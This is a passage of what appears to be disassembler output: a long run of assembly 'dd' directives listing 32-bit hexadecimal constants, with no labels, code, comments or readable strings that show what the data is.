0D78D4A29h, 905949D4h, 9AB73A45h, 0B6093303h dd 0AED4B02Bh, 0BF9BF617h, 0E44856C1h, 7B303ADAh, 41099D03h dd 0DFA62A2Dh, 1E1523BEh, 16D8EF7Ah, 0A78302A6h, 8D0FC7B0h dd 9A2DD0Bh, 895C5495h, 7371615Fh, 55499C47h, 8F7DF29Ch dd 38F4FB9Eh, 0BB8B66FCh, 0FA7C7733h, 0F5492110h, 316C5F71h dd 0C79D0174h, 0DF1102ADh, 765CE2D8h, 0E08B5EBh, 0DB40B003h dd 24D8D89h, 0C0124AD3h, 5204EDA3h, 0AE5FA7B7h, 6ABAFB74h dd 9156098Ah, 5D1B5558h, 2D35FA10h, 89579614h, 5B09713Ah dd 8D766050h, 0CC81B25Bh, 26DA13Fh, 61EBB510h, 0EAE6964Fh dd 0E5F59FE0h, 6C334D20h, 879297E1h, 5C79756h, 1CED9D0Bh dd 43675AEh, 0B9137D27h, 7EAFD08Eh, 262B2845h, 6ABDFE91h dd 697856F2h, 90618D7h, 9C08FC85h, 0A5A4EC39h, 2DB185D2h dd 0C9C07B1Ah, 75201DC5h, 3C0958B8h, 70198376h, 8D539534h dd 2B181959h, 5973F905h, 0FC047FF5h, 2DAE11B9h, 0D25E1A56h dd 8D4BE0A2h, 0A7C76F51h, 8D9655D9h, 1285897Ah, 8BD2FC2Bh dd 0CA594250h, 0EA4CF768h, 853079BDh, 98C5BAFDh, 9B77CA58h dd 0D72B9528h, 4D618627h, 60186470h, 77E4EB75h, 699EA15Fh dd 0B125C816h, 951DCE09h, 2B441794h, 72C72C80h, 0DBF61EEFh dd 0E04D786Eh, 3F63BC2Ah, 99CBD75Dh, 6526600Fh, 0F0BF97C0h dd 977FCDCAh, 1FC1432h, 6FB93016h, 8C1DBCh, 0C4E4F2B9h dd 0B66D5272h, 0E4F5372Dh, 0B7F39D8Dh, 0B5920D07h, 2591802Eh dd 0BFD2F797h, 2C808A93h, 0CC3D74F5h, 7521808Fh, 32577986h dd 5B43264Ch, 0DBBF0C41h, 0B52A890Ah, 2EFBC55Dh, 9FF1834h dd 0F459558Dh, 0D2273D44h, 0C3142109h, 0C649DD3Ah, 0B36FAF84h dd 4A072A00h, 5CCD6D93h, 0BC68A20Eh, 7A9C79BBh, 3DD22D2Bh dd 160B8D2h, 3BE6CABAh, 388467Bh, 0ED5B5BCDh, 52BB8045h dd 95B9E9B4h, 0BECDFB8Bh, 0A897E8C3h, 4BFFD95Bh, 3A1D8923h dd 28090A6Eh, 37737839h, 0D4ADAEh, 0ACE36A92h, 52199199h dd 0B70F4213h, 0E89D24AAh, 0CACC80C6h, 0B7B2BA78h, 0CBEB9EE1h dd 7CF8744Eh, 98202021h, 0FAFD5B2Dh, 8FC016DEh, 0F008E614h dd 9C3D35h, 6078E8D5h, 11BDB52Bh, 0C41FC6BFh, 0B8024180h dd 70F0973Dh, 502F2AFAh, 6B070360h, 863D27F8h, 6C6EDD4Fh dd 0B5A9B203h, 6EC27967h, 151BFF8h, 1F113B7Fh, 2BF14184h dd 15853260h, 0DD238528h, 8AD00979h, 6F1B0A4h, 0FF87CC6Ch dd 0DA4B80D1h, 0A435208Ah, 0F36EBE3Dh, 3E67140Dh, 52AE1ECh dd 0EF570101h, 0F592026Ah, 1797B390h, 0BBFDFE8Ah, 0F4D977Dh dd 0D6AC4AC0h, 12257DECh, 0E889D248h, 214B80F6h, 0A89047h dd 4201F8F5h, 3F200780h, 8AD13A04h, 9AEA5BFAh, 0C01AC801h dd 291C00Bh, 65A70917h, 12297F04h, 0AE1AE905h, 43CA2338h dd 3114E28Fh, 8FCC7BD2h, 145209BFh, 42562EE6h, 50E1DBEBh dd 701C7A37h, 145FCE9h, 9AF2509Eh, 616B3E00h, 2FDF8948h dd 0F6C29900h, 0CCDD5F65h, 98224986h, 0C4E2E94Fh, 4BB89298h dd 80B89F5Eh, 0F765DE6Bh, 0A5090510h, 0C7666041h, 61F831B0h dd 4E172EF5h, 0E7F882E9h, 7510D30Bh, 253B5EAFh, 0BF035066h dd 421FD6F2h, 19CCE46Ah, 0C2449F12h, 7A9FF398h, 0AB66B522h dd 1759BB1Fh, 0BF045ED7h, 0ECAC01E1h, 0B09C58A7h, 1866425h dd 0C2226798h, 0D8911F71h, 3A0E7055h, 0A2E6F28Ch, 0C8998529h dd 9771E4C8h, 0AC76490Fh, 84E9C8EEh, 0AC20CB80h, 9D890BFEh dd 0E9EB56D1h, 1074F41h, 3C6197B3h, 0B1413692h, 3DD42FAh dd 0DB129028h, 0C07FFDB1h, 72EF81ADh, 0D18B401Fh, 93E38DD2h dd 0AE2EDD12h, 0BD319F61h, 0E888F45h, 4C094189h, 3C0092DEh dd 73E2D805h, 7E8EC618h, 745FE79h, 952936D1h, 4134CDB5h dd 2DDDBD6Ah, 7C0130Fh, 0AA1A3D1Dh, 8996560Eh, 0E15A7818h dd 0C4601D44h, 0AA22FD4Ah, 1BD35260h, 6CBE1E85h, 3747D761h dd 56208469h, 0BB6813AAh, 4DB68960h, 0C0010486h, 0AC2105F7h dd 9A2588FAh, 0A8F23809h, 0FE22A550h, 949C0A0h, 8AA11E94h dd 144A720h, 0F9B095F9h, 258313DDh, 40EA553Ch, 80F5377Fh dd 4054B678h, 9C160A7Eh, 5056B538h, 458271BBh, 55B90208h dd 37935858h, 28D2178h, 3E7019CFh, 0FD56F5C2h, 0A1585E23h dd 0BBCD0172h, 7F3250C9h dd 80F37CB5h, 5C765952h, 446A005Dh, 3F8EF4FEh, 0DB95FC5Fh dd 0A9627091h, 29BDC509h, 0A0A2F59Dh, 0FD5EC02Bh, 76E500DCh dd 1128FE10h, 0B5182988h, 0D2550655h, 0CC4A0BBFh, 175C3D8Ch dd 0B7B5F5DAh, 0B86D2F0Fh, 4A7FE29Eh, 80EADB02h, 0DDF8B38h dd 0D5EFB788h, 860F8561h, 0B58A3Bh, 100E9D70h, 0DFB426h dd 1D82A720h, 0FD166587h, 63DCAA13h, 17BB3E02h, 0D6515C93h dd 0AF4A1A46h, 0B9963742h, 61C4FD89h, 0E7815100h, 29D899BBh dd 651B975Fh, 0ECC6C7E8h, 0C5577C25h, 0BA16A63h, 8CD404FDh dd 0AEC4A0C0h, 6996041Bh, 0AE2536D8h, 10C1A004h, 1BE750B8h dd 0F6755Eh, 3D7B2818h, 562198B2h, 0B3DF3807h, 0D509B822h dd 0C180353Dh, 6B88DBCAh, 8B16167Bh, 8268B9FEh, 41B973BBh dd 2CEA19Dh, 68FCE1FFh, 50D3764Bh, 84004568h, 8795A41Ah dd 4ECD9D33h, 0A7CF970Eh, 9071090Dh, 45328C4h, 0BF2D5194h dd 3013EFCEh, 0A59BF704h, 0FEA512FEh, 9A88B013h, 0D4793DC5h dd 0A0AC1C00h, 372C1A7Ch, 1B1F9B01h, 3A779671h, 0B5A7282Eh dd 28307DD3h, 28BA73Fh, 29F67E94h, 685660C0h, 1BE01DCh dd 0B3A878C8h, 0AE152EA4h, 42FBDF9h, 1277116h, 1D31BD0Bh dd 4A35A23Ah, 7BE420C8h, 3E9AB7A6h, 0CA97C456h, 0FFF92332h dd 54B569B9h, 0D49FACEFh, 0C311085h, 71CFF15Bh, 19284537h dd 84DA4A9Eh, 7D8D31D2h, 0EC68CD90h, 56AC253Fh, 0BD9F4B38h dd 13630095h, 0BE56B33Ch, 2676E9E8h, 225E00D4h, 6AC66C53h dd 645E46DFh, 9127CF3h, 2FDDA9B5h, 5157FB89h, 71181Dh dd 74942902h, 8AB4330Dh, 58F8B92Dh, 317395ECh, 9727BFD0h dd 0A34F5A12h, 1EC87740h, 71C1127Fh, 83ABFC5Ch, 88612294h dd 0ED040E6h, 0EC3C2B12h, 0E1B84660h, 57121AA9h, 64AAB4DDh dd 898DACE6h, 0AD5773F8h, 29400AEDh, 2D2BD91Fh, 8910ADFDh dd 0E2033225h, 867EA415h, 5FAE807Ch, 27CEF2ACh, 0F75B89A6h dd 4946AC78h, 0AC9770FBh, 539576A0h, 0CDFB27D9h, 9D87950h dd 0B5336051h, 960B9812h, 61672157h, 887F505Fh, 1C4B0D22h dd 6A5B1F8Bh, 0E123F72h, 698ABF52h, 7CC2460h, 9B35EB12h dd 0C32DE1A0h, 6301BB8Dh, 46CA8E4Bh, 5059B702h, 0C6FE830Fh dd 0B6615759h, 254689B0h, 96F354A3h, 0A690D862h, 958DF958h dd 3AF86073h, 231B00E1h, 2FBBFB20h, 2B82905h, 0C5348D20h dd 12DFBFA6h, 2CD188ADh, 23AC8D00h, 0C519EAC3h, 0B306092Dh dd 518B65D5h, 8098377Fh, 969CE869h, 28514FB4h, 2A0BC5B3h dd 6A4E65CBh, 0D78E05D4h, 4D6B613Fh, 923EC000h, 0AA913888h dd 819D2316h, 0DF0021FAh, 0C251E531h, 91173FD7h, 6418119h dd 14CDB45Fh, 0ED7827Ah, 0EB2A9CD5h, 3A3227Bh, 28DA9A2Ch dd 90820E9h, 0B780F781h, 2DDD0971h, 1D4DC56h, 21F1AAB0h dd 3F1CB4EDh, 9918760Bh, 9B2B7FC3h, 0F5138085h, 308D0360h dd 81511589h, 8C4BD7D0h, 2F142A8Bh, 0EF82BB04h, 0DB96D81Ah dd 89251D69h, 0D69EF6EDh, 0B2251446h, 18598C5Bh, 1C243A19h dd 2829A081h, 5A30CB6Ah, 6EA21EE6h, 0AD004C71h, 79B583CBh dd 34E2F464h, 81263BB4h, 21D113Bh, 0C8465C5Fh, 0FE4A01DEh dd 3845BD89h, 59962714h, 5B5283B3h, 0CB9F5750h, 0E071EBF3h dd 0ED9E207Bh, 0A401D4F0h, 0E2BBD0DFh, 0EA639F04h, 64B6C800h dd 335E2F8Eh, 4FDB5F1Fh, 9A28E1C0h, 0A59F43Fh, 5B4E20F0h dd 1B46DCEBh, 0AF07C500h, 0B278920Eh, 0BD2B050Bh, 606CE039h dd 0D6B7000Fh, 944318B9h, 5B9D615Bh, 0E16DA585h, 0FAAEB541h dd 85190024h, 0CB8D010Eh, 0D47330h, 65D11226h, 0A104DCF0h dd 1121EDBCh, 29C384B8h, 28A4F595h, 9561F660h, 1D59BE5Bh dd 7D002018h, 377BAA32h, 4EB011A0h, 1E0CAD41h, 4C6DF9BDh dd 0BB440065h, 628C4AE6h, 22007D90h, 15980630h, 25E36502h dd 91C2C4D1h, 2FE0DE4Dh, 49B0A27h, 0DB803DE0h, 0D5B5B998h dd 35DAC06h, 0ADBCE135h, 0DA0822C9h, 21BB59Dh, 37AA64BBh dd 0BC569CC2h, 70197B49h, 87208490h, 13C530E2h, 0B7BC6A61h dd 59993474h, 4BC12A6Ch, 29BC9C0Bh, 779BD10h, 0E30B8548h dd 7FE14043h, 2ED575D9h, 6EE0B8F6h, 42A43C5Eh, 41F7800Bh dd 9EC798E8h, 0B2B6196Eh, 6AD87083h, 0F8E5CBD9h, 3CA8282Eh dd 0BA09DF8Ah, 0F7893C02h, 95F34677h, 0CD87F754h, 1B424C47h dd 9E9FD5CEh, 0F8801891h, 9BF2C6C4h, 683DCD95h, 12F6E0DFh dd 0F55C8EC1h, 0CECD4A00h, 0DAB98542h, 0B2DE4AE5h, 3AAFA8B3h dd 598916CDh, 0E7D49E37h, 0C6E15F40h, 0E36E00B5h, 0F2896510h dd 0CC12F514h, 50151DEh, 5BF9F0F3h, 0C8BA55C6h, 0CF355Fh dd 0AC6B7BCEh, 4E26AE01h, 9D045F3Ah, 38AB09DDh, 248A51CAh dd 2DAB1888h, 636A2BCAh, 0CEF08700h, 39130CDBh, 995891Ah dd 12FA5677h, 804BFCF8h, 64C247B3h, 41840F1Ah, 0BA009BFFh dd 0E78191C7h, 696DFB04h, 0EAB85F1Eh, 18D09B0h, 30E9DDC4h dd 0F84DBDB8h, 0E63FE3BCh, 0F2D76E2h, 42C34489h, 0B1C86284h dd 75C6FD12h, 7335B5h, 0C6A41DE1h, 600B51D2h, 7674C180h dd 5F61627Bh, 9A955850h, 10979DCh, 0D3AB09FEh, 0C6A7C414h dd 2EA2505Eh, 9E697403h, 4227787Ch, 0B51DFADEh, 0AE840690h dd 51ACDB00h, 0A0298CDh, 0AD270BE8h, 3D577CD2h, 0C4F1005Eh dd 0F47D629h, 439E4F97h, 0C0AAF637h, 0A012E658h, 0C77A149Fh dd 88EEBA00h, 173E3F84h, 0AD2096B8h, 0D381021Fh, 65F715CBh dd 6B26055Eh, 1C21FCDEh, 494E3A7Ah, 13C69D29h, 0FD202AEDh dd 4E78A6B0h, 0EA075271h, 7B856Fh, 7B5B2AFBh, 0F533A3A6h dd 99A948D6h, 0C8608AD6h, 0D750C018h, 0B44CFC61h, 0B091215h dd 0F4C3DF7h, 70F78100h, 0FF4E32F2h, 8D31D112h, 305E8E9h dd 0AA1CAD9Dh, 5A300C8Eh, 2F6BF6Fh, 6A7403F0h, 914B90BFh dd 1C0B7CFDh, 89161B2Eh, 0D06101FEh, 4677E609h, 5467001Ah dd 4E331F03h, 591E40A5h, 3F9E43F4h, 25B0F915h, 64E8CDF8h dd 0FE8F6115h, 25D5A160h, 3071BEE9h, 19FAAC2h, 0D6359D33h dd 24D7B60Ch, 3C32C720h, 0E793369Dh, 0FC699D5Ch, 15512DF0h dd 0D6AD5054h, 0F3040A1h, 80C98F58h, 45C38160h, 9802FE26h dd 0B561FC2Fh, 0EEE90AE7h, 3A9C2D63h, 23172B64h, 24EEF158h dd 2E76CD96h, 690057E3h, 0AEAD4BB6h, 2B1E79E2h, 0B44BBF66h dd 0E23B565Bh, 974800Fh, 0E5B9DE44h, 0B0C5E74Eh, 14B06BDFh dd 9626801Bh, 252FD110h, 0AD3A73F8h, 0EC425DCDh, 6A8A40FCh dd 0DC509CFFh, 3838555Ch, 0EDDC49CDh, 461F26Eh, 12F99D89h dd 97D8C2F4h, 39BE2DB3h, 0B0C9B312h, 569730AEh, 3100C262h dd 4EBED7B7h, 4321B8Ah, 5B7E73C8h, 0FE58816Fh, 0E647605Fh dd 0E4F97000h, 3B9DBB71h, 0B83C4F4Bh, 17F2D686h, 0E7481F00h dd 0C8D7B183h, 0A5327395h, 85C79877h, 2E0B4155h, 47E34D12h dd 0AACEC135h, 716C525Ah, 0F0FE92E8h, 8D30293Fh, 0C82BED19h dd 1154D809h, 0E955D18Bh, 6CB22F37h, 49107258h, 0DEA04C2Dh dd 0C1B5A58Fh, 0C1953102h, 905F1964h, 553D69F3h, 59B53070h dd 12B74Eh, 92F7CB81h, 0E96F7425h, 0EC151233h, 2015101Eh dd 2D36E911h, 2D707429h, 0E0ECBCFEh, 1E9197F9h, 9D23101Eh dd 71054285h, 0A5780B45h, 6B405158h, 0A0EB2580h, 862017ECh dd 5D66BF1Dh, 0A97B897Dh, 0F061DB95h, 0D7258047h, 0E2075C1Eh dd 0B224010Dh, 29578A49h, 71975B06h, 0AE98D39Ah, 92902D98h dd 8381852Ah, 8C0FFC16h dd 63FFBD30h, 2B681377h, 1D59C8C0h, 0EDFA200h, 9563D742h dd 0EA20006Ch, 51A88CF8h, 0EB138191h, 6AFF9BB0h, 0F4985EF0h dd 2B5F0003h, 1F5D1B0Bh, 0F1C92EDh, 53252A8Bh, 45F0041h dd 9F0D283Ah, 1BE6AA05h, 584080AEh, 0A181270Ch, 979100EFh dd 0CF306183h, 0F40729A2h, 0FEEC4113h, 5E5B8D22h, 3DFEDA10h dd 20809D4h, 2D04F21Ah, 4FF1B8D8h, 23A1ABE7h, 348F6050h dd 3D27B575h, 0E40E565Fh, 5CD967F8h, 0BBA05C08h, 0A6C93E55h dd 0DC547CDFh, 0DFC05912h, 10A52509h, 4B65BD5Dh, 22BC8E22h dd 2549938Eh, 5B95BFF0h, 18155108h, 0C2745A57h, 0CE2E059Bh dd 2FB9F255h, 8762BFCFh, 0C59501Dh, 0CD2A3D00h, 929CB63h dd 0E1FF5383h, 43C0354Dh, 9C2C98Dh, 0F0B42146h, 0A50001F9h dd 2CD23DDBh, 1CDD00AFh, 18D99A4Ah, 301ECB3Ch, 0FA04BF89h dd 0C6B866ECh, 0C20452A1h, 0E3D8EDDFh, 17805B99h, 0F012C91Bh dd 20FB2430h, 0B2E80FB3h, 48859500h, 0A0AA89CDh, 7AF402CAh dd 2A52719Fh, 2651FA5Ch, 1B7C8EA7h, 0D11404DEh, 0EE3AB217h dd 0C12B6DCDh, 2EA00D80h, 0E9B8ED28h, 8048DE3Ah, 0F380CD64h dd 0DB604ED6h, 947C808Fh, 999E579h, 7EEF0838h, 403D6F57h dd 21DA2582h, 0A6F0BB04h, 0FEB8269Ah, 96B8675Dh, 0C82531B4h dd 0BF01370Fh, 4545CECFh, 0EB84D7FDh, 0D5C1AC3Bh, 0CDB74AD5h dd 80849A4Ah, 10BAE66Bh, 0DA3F4832h, 21415D3Bh, 5647295Ch dd 0EF80F5C0h, 1ADAA05Ah, 46DC86DEh, 890030D9h, 71C3C0CDh dd 0CBB20E8Eh, 0B8522E9Eh, 0FEBBB0F2h, 1B73193Eh, 20BF698Bh dd 3779C121h, 0FCF05890h, 82BD7648h, 55585B52h, 359765C6h dd 8516918Ah, 90098CFDh, 35BF7785h, 0D1C8A000h, 197E1DE3h dd 543515DDh, 0E99D8951h, 411A2AB3h, 0C4574BDEh, 468DAC2Eh dd 48B5E076h, 5F8B979Dh, 0FCD8A45Bh, 0DDF64169h, 63B63A23h dd 553014F2h, 9AF4B829h, 0FB6D9526h, 33631564h, 290689F0h dd 0DA319D38h, 0C25E96F7h, 3AF8462Bh, 1025520h, 0DB05BF96h dd 0DE500A79h, 11D0E15Dh, 684D702Fh, 0EDF6937Eh, 994963B5h dd 74F60E70h, 9500DCCCh, 0CDB5EF45h, 1209ED34h, 0BF9D33B8h dd 9AEAE1C4h, 0C017C81Dh, 2EFC7306h, 489A1195h, 82B2E27Bh dd 252DBD2Bh, 0FE78C45Bh, 14B93B94h, 0B902ADECh, 166131C4h dd 8257D911h, 2E99BD03h, 295BBF00h, 0E94649A0h, 1FB297h dd 15A370D4h, 0E76F71Bh, 7D653C72h, 0BCE09441h, 0BD683022h dd 5FE33954h, 95316104h, 9BEA05DDh, 113512E6h, 3188D2E3h dd 4D285198h, 0E95B8009h, 0DE1B3F69h, 0DD0EDC8Bh, 6154E783h dd 0F9096CCCh, 0E1F03A2Eh, 0E63A70B7h, 8539E1DDh, 24B77FFCh dd 4293BC5h, 0B8149EBBh, 401A1C3h, 0A0C4F73Ah, 73566057h dd 93281629h, 0FD76814Bh, 13EF4BEAh, 0F8A903CCh, 0C0167E80h dd 80BC5F2h, 0E6B5E292h, 754D90B8h, 0D80981CDh, 539D2A3Dh dd 8135EBF4h, 2FF96F80h, 132618D3h, 0AC95BE8Ch, 6C809F7Ch dd 0B2D18922h, 0A1F20024h, 5CBCBA7Ah, 4F3CA703h, 10554885h dd 0B64A1E5Dh, 3018E20Fh, 5116B75Bh, 65177B26h, 4A7D3CEDh dd 2E557h, 5A9591E6h, 0CDF5584Fh, 0EC5F0463h, 86A00DAh dd 0C84C7151h, 0AC8F56DDh, 0AD2D844Ah, 0AC9DD183h, 0E7640115h dd 8F4A7B3Fh, 1FB3C487h, 0CF75C9AAh, 13BD60FCh, 3900CD78h dd 67A3BA6Bh, 4AAD9D2Bh, 3E1DE72Ah, 0D593589h, 6A4C91EBh dd 803D6CABh, 0BC6117D6h, 2F973A2Dh, 92DB2483h, 86AC14E3h dd 59E0277Fh, 2175BB5h, 21C5B529h, 70383A57h, 0A6FA9FC0h dd 0AD0BFD21h, 78365E90h, 2A58960Fh, 0A210421Ah, 686E5C94h dd 53F91BEDh, 0DB59D98h, 795E5B95h, 9E51818h, 0B4A2F3Ah dd 0FD04CF64h, 9B1B399Dh, 0B41F6AEh, 63F7C5CBh, 0E770480Eh dd 4BE9BD4Ah, 66A0CC8Ah, 7C0453B2h, 0F2F978DFh, 0C4B73C95h dd 1AACFA59h, 0B5ED2807h, 5B126743h, 61F89886h, 290300DEh dd 489A33ABh, 640AB798h, 0D9E4ADB9h, 132D910Bh, 40BBBFB5h dd 958A50DEh, 0B86077C8h, 164DB65Ch, 4FAC8B46h, 0A2146189h dd 9694DF4Bh, 2ED7BEAh, 0C6D62EBFh, 51B55C56h, 0DB0C39h dd 0A15E781h, 0B79646B4h, 5E50E93Ah, 4681559Bh, 6CB23EE0h dd 0C423CE58h, 6FAE0A49h, 251C234Ch, 0A34F125Eh, 10BA590Eh dd 0B27C16Ch, 6271B589h, 0A215D5A4h, 569A9940h, 0BD7809E3h dd 0AA02BAB3h, 66001D0Dh, 0A418F8BFh, 5E619D69h, 76DC6A09h dd 526809BBh, 89711417h, 0DA203944h, 0D43B8060h, 61D31292h dd 23DB6BAAh, 0DECB0416h, 0C62A92C5h, 0B12D4AF2h, 0E92D5908h dd 2870A553h, 0D0963020h, 0F1B53168h, 0E8C1E3D6h, 172E9FE9h dd 80809B95h, 0B6094FCh, 9ACD48BDh, 5A7AAA93h, 0BBDC6202h dd 0B1C0481Eh, 5F820225h, 0AD13230Eh, 0CF998165h, 0B8C22528h dd 9E7BE901h, 17B700C5h, 2BE158D4h, 0C138F401h, 0E057D30Ch dd 13AEEE0h, 0ECA09BBh, 0D47EEC18h, 4800CF8Bh, 71E864A5h dd 0C682BDh, 0E763984Fh, 0B111F804h, 6BD8D100h, 32CC5855h dd 50440F79h, 0E40F9739h, 8D27AE6Fh, 0CB0F5B0Eh, 8C78AF00h dd 3300D2F1h, 0EA0439F2h, 7AD1514h, 496DCC7Ch, 20F400EDh dd 9B00BA67h, 3709CDAAh, 1A9236h, 7065DC9h, 8AC569F2h dd 0A347CE07h, 0C1219668h, 44936301h, 0B29F00E5h, 1F317213h dd 0ABE69C00h, 0A05E7BF7h, 0E4E836h, 0EB3893Dh, 6EFEF1CCh dd 1647460Eh, 6EA853Ah, 0E71CBF00h, 66D36C3Bh, 5E545615h dd 94E8293Bh, 24A3336Ah, 230E172Ch, 0CEC260A4h, 54D37552h dd 39BC76h, 7B32A9D7h, 23D24E42h, 77E79F61h, 8F49DEFBh dd 198F66D5h, 5D2118A7h, 9D3A8883h, 0A18CDA15h, 0C50F21h dd 0A7708D69h, 336B3666h, 71014630h, 0E7A3284h, 16DA453Ah dd 1E4B1E7h, 0E8441A14h, 42C0BFFDh, 73401D19h, 0C49600CDh dd 611552F5h, 9E004605h, 0A2B7BB67h, 0F442E5E4h, 25E0011h dd 7E5B9037h, 1F00069Dh, 0FF763269h, 0FD37848h, 68FEBA96h dd 533F7E40h, 55008C34h, 38D7ECA1h, 0C7D57F9h, 51F198C9h dd 0B95EB5C3h, 7D76D5E0h, 85C60FCDh, 0A0E082E3h, 0F7A7C45Dh dd 0F029E000h, 81205304h, 6A992864h, 520916BAh, 0E78F059Fh dd 8151BC93h, 0E062497Eh, 28046380h, 8C41584Ch, 0C9F5301h dd 279B8E70h, 63BF2180h, 171EB586h, 24367500h, 681DEF95h dd 0DF430C2Fh, 0CB32E603h, 32DE1500h, 0EEA2192Eh, 1E9D00AFh dd 6C1A2F66h, 7D00BA6Dh, 276F6A63h, 0C0C9F0h, 0A260C28Eh dd 2B8C3FB5h, 99608078h, 2A462274h, 851014Dh, 0D011D46Bh dd 0B0D49E4Eh, 1ACBF2h, 58532D3Fh, 0AAFEA60h, 8E4C05h dd 15674707h, 106A1C31h, 6CA34900h, 149FBCB8h, 3F33246Eh dd 0F53C0757h, 7F3A9053h, 0BA128FCCh, 0D036604h, 70E45E4Dh dd 40240657h, 13B80554h, 0A1097F78h, 4356944h, 0C322492Ch dd 40026440h, 0C8A42BC0h, 8128B3h, 0C7BBFCADh, 0E675876Bh dd 1C083D07h, 44104318h, 73BA669Bh, 792D041Bh, 80D6AC62h dd 0B022CEFBh, 5E000179h, 7FA63DF4h, 1D91CAh, 0D0AA31C8h dd 0FC0630D9h, 0B7B46700h, 89A943B2h, 0F6D3286Eh, 5D7C13EFh dd 3E4900A6h, 55F14785h, 20196600h, 2C7B274Bh, 23043994h dd 0C300A5BAh, 0D415B8CFh, 63003B20h, 5E6CF07Dh, 0B34EF8h dd 431DB01Ch, 0E094D578h, 23C58401h, 9D3407E4h, 1AC0EBE4h dd 50CC79C9h, 29A5E060h, 0DB845700h, 610AD1A6h, 3052722Ch dd 2127C57Dh, 760C2845h dd 0DE73A85Fh, 1B1A03B9h, 0A17B2F64h, 233875B0h, 85915C1Eh dd 80713945h, 0CC8FB840h, 1426DA17h, 0BE972D4Ah, 818BC402h dd 0BC6258C8h, 8469741h, 66E810h, 73725B75h, 4097E421h dd 0A4C43Ch, 399593B8h, 0CAAECBh, 487F25B4h, 6B437833h dd 0C7A3B0A0h, 3BCDB1Eh, 7B578CC0h, 8F38BFh, 5D4A65Ah dd 0FCB02760h, 6DC9BD09h, 5E8C9190h, 93C8DC50h, 0E4A73CB9h dd 943C5F80h, 199DBAB6h, 1261E6B0h, 8D40FBDCh, 98E6C920h dd 286B6982h, 2D78200h, 48954B4Eh, 4D42E96Ah, 6407510Dh dd 521AC15Ch, 3D40D949h, 8624FDEDh, 720EC6E3h, 4FF3864Eh dd 0CF70171Bh, 0DB8A0730h, 875E9001h, 0BF066CF9h, 9DBB0702h dd 0FF5B0126h, 37F206E3h, 6D1480ABh, 0F57AC64Bh, 0FE7101E1h dd 0D25307EBh, 2A9580B9h, 4328BD5Ch, 31B90EFh, 0DAC1EE9Bh dd 3E072668h, 9AB4908Ch, 81568AF2h, 61057CA9h, 0A1F67AFCh dd 417054E3h, 6D5700B5h, 70A960DFh, 0C400A084h, 3685C97h dd 7C54E4h, 0F62BD45Fh, 0D70CB342h, 8A0051ECh, 77FBA7E6h dd 901EA962h, 559400EFh, 954ED76Eh, 1200EC60h, 8865A647h dd 1FDDEF5h, 42628E3h, 0E0BC9E08h, 39480E49h, 0A2007315h dd 77CBBEE9h, 79E107Ch, 76D48A8Fh, 0C6136083h, 78142BAAh dd 84473Bh, 9349F8F5h, 8CC57Ch, 43E6255Fh, 22C08229h, 22440C9h dd 0C0617327h, 0FD1CE8h, 0F9F20CDEh, 0DDC27F91h, 0D0879702h dd 6135E118h, 0A1C46F5Dh, 2947D24h, 275CE6A5h, 6461800Bh dd 4086F198h, 48CD15B8h, 1007EAECh, 5A84567Ah, 0FF3D8521h dd 5DD9BB40h, 0EE2709DEh, 0FE801E02h, 67F82A5Ch, 180C6800h dd 1995CA81h, 0CE743E47h, 6B175200h, 450EEB07h, 0BD699E00h dd 7B2EB6EEh, 0E48728FBh, 27DC01B3h, 7EB56BEAh, 255A6492h dd 0F3BB6320h, 6E52E0h, 0C46D049Bh, 0E372E61Bh, 0B953C50h dd 2FA22033h, 1511E842h, 29D14C76h, 0A43BF600h, 0A988C67Dh dd 0CAC1FB06h, 12C3A78h, 409BC09Ch, 0D5DC8D50h, 981FDCB7h dd 0C6BAEF09h, 0B625ADDh, 75B458E3h, 6D5FB380h, 3D018032h dd 64995249h, 0E0FA19B0h, 2C9E4F5Fh, 60C8A95Dh, 26A55190h dd 0CD815Dh, 30A75B94h, 0F554178h, 0E38953CFh, 94E8C3EBh dd 6A0B951h, 5909CB29h, 3241C87h, 4B6F3C57h, 0D151E18h dd 0F6112DECh, 57AD7B02h, 8120BB8Ch, 5425C450h, 0AA63CF4h dd 0B850560Eh, 74260222h, 815AFC31h, 8108478Fh, 0F86CE77h dd 5F3652FFh, 520F4083h, 0E907275Eh, 0E0FBCD7Eh, 0E5D647B7h dd 332D2003h, 1FB285B8h, 0C0C50396h, 0EC78A9E0h, 5774C377h dd 8A002871h, 0CD7C39F5h, 3423CFCh, 0ED06476Fh, 97809252h dd 1E002877h, 53E071EFh, 75D11B7h, 0EDCB3520h, 0DDEB9009h dd 7B7E296Ah, 4F5B0600h, 9AF02B31h, 323505A1h, 0BF40543Bh dd 1A236F6Bh, 2C118400h, 9D6E574h, 0D98A90ABh, 0EAB4DEC3h dd 4780229Bh, 74B843F8h, 698C10Bh, 4EEC7830h, 0BB0F1609h dd 0C602217Ah, 1D12BA58h, 0A440557Eh, 5F34DCF5h, 8497E2B2h dd 0A3BD6ABDh, 8B0B1EBCh, 0EA28859Dh, 14F1C15Dh, 32167F38h dd 2D69A178h, 20BB84Fh, 90FCCA4Ch, 90575250h, 3F3F7C3h dd 0A1E2D6Dh, 0B9985D3Ch, 0C00D1DBh, 7F4C0E01h, 40F392Fh dd 5A46B331h, 5D8CBB58h, 44381E65h, 0A0690054h, 7D014D13h dd 8307E91Ah, 0F7EB0968h, 7D907B11h, 0E8BEB8C2h, 81A05A15h dd 0A03CD61Dh, 0E15F9748h, 0C42A0389h, 0AC9AFDD3h, 7B008C1Bh dd 36C3EF2h, 0D3AC9837h, 18C4AA68h, 0C82A9AAFh, 4AEBC01Bh dd 0FD09301Fh, 546FD3D4h, 0E4444036h, 0C2006DE6h, 0E2B09C02h dd 25FB2A1Bh, 71FCFF65h, 5114710Bh, 0BE7CC5C4h, 0A202DB7Bh dd 0C9CB8075h, 0F835E0D7h, 0D9852D89h, 0BE902904h, 0B8C4DC24h dd 0A54C8280h, 1A40256h, 17A91476h, 0FC59F48Bh, 0ECD30300h dd 0CA5410h, 37631970h, 0BFE9E178h, 384AC402h, 0D75B5F65h dd 70041E6h, 0C8368563h, 1EF2097h, 0DC9F6FA6h, 6B905AC6h dd 98BB9BC5h, 7312DF03h, 6809C60Eh, 70C6D4CDh, 3883B590h dd 40C131D2h, 434CC324h, 219D0116h, 6BBF5B84h, 251823B0h dd 0E4152B77h, 7A0B00BFh, 0C0D249ECh, 0A01ACDEh, 62C28D12h dd 94708F36h, 1E90BD89h, 0BF7C905Fh, 72989917h, 0BDA5F9C1h dd 0DC7E5CEEh, 0B529E406h, 16F90E79h, 0A656B6BFh, 0C78009D1h dd 0E2385F92h, 8D1A0B51h, 46991D31h, 0E13C0319h, 1E94EB05h dd 0F4E8C0D5h, 27016B84h, 